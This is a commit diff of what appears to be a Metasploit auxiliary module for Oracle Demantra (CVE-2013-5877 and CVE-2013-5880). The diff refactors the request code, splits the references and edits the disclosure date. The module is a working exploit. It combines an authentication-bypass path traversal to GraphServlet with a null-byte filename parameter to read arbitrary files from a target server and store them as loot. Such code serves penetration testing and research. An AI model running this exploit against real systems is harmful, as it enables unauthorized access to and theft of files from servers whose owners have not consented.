@@ -20,16 +20,17 @@ def initialize(info = {})
20
20
} ,
21
21
'References' =>
22
22
[
23
- [ 'CVE' , '2013-5877' , '2013-5880' ] ,
24
- [ 'URL' , 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/' ,
25
- 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ]
23
+ [ 'CVE' , '2013-5877' ] ,
24
+ [ 'CVE' , '2013-5880' ] ,
25
+ [ 'URL' , 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/' ] ,
26
+ [ 'URL' , 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ]
26
27
] ,
27
28
'Author' =>
28
29
[
29
30
'Oliver Gruskovnjak'
30
31
] ,
31
32
'License' => MSF_LICENSE ,
32
- 'DisclosureDate' => "January 2014"
33
+ 'DisclosureDate' => "Feburary 28 2014"
33
34
) )
34
35
35
36
register_options (
@@ -44,18 +45,19 @@ def initialize(info = {})
44
45
45
46
def run_host ( ip )
46
47
filename = datastore [ 'FILEPATH' ]
48
+ authbypass = "/demantra/common/loginCheck.jsp/../../GraphServlet"
47
49
48
- res = send_request_raw ( {
49
- 'uri' => "/demantra/common/loginCheck.jsp/../../GraphServlet" ,
50
+ res = send_request_cgi ( {
51
+ 'uri' => normalize_uri ( authbypass ) ,
50
52
'method' => 'POST' ,
51
- 'ctype' => 'application/x-www-form-urlencoded' ,
52
- 'data' => "filename=#{ filename } %00" ,
53
+ 'encode_params' => false ,
54
+ 'vars_post' => {
55
+ 'filename' => "#{ filename } %00"
56
+ }
53
57
} )
54
58
55
-
56
59
if res . nil? or res . body . empty?
57
- print_error ( "No content retrieved from: #{ ip } " )
58
- return
60
+ fail_with ( "No content retrieved from: #{ ip } " )
59
61
end
60
62
61
63
if res . code == 404
@@ -65,11 +67,6 @@ def run_host(ip)
65
67
66
68
if res . code == 200
67
69
print_status ( "#{ ip } :#{ rport } returns: #{ res . code . to_s } " )
68
- end
69
-
70
- if res . body . empty?
71
- print_error ( "#{ ip } :#{ rport } - Empty response, no file downloaded" )
72
- else
73
70
fname = File . basename ( datastore [ 'FILEPATH' ] )
74
71
path = store_loot (
75
72
'oracle.demantra' ,
@@ -78,8 +75,7 @@ def run_host(ip)
78
75
res . body ,
79
76
fname )
80
77
81
- print_status ( "#{ ip } :#{ rport } - File saved in: #{ path } " )
78
+ print_good ( "#{ ip } :#{ rport } - File saved in: #{ path } " )
82
79
end
83
80
end
84
-
85
81
end
0 commit comments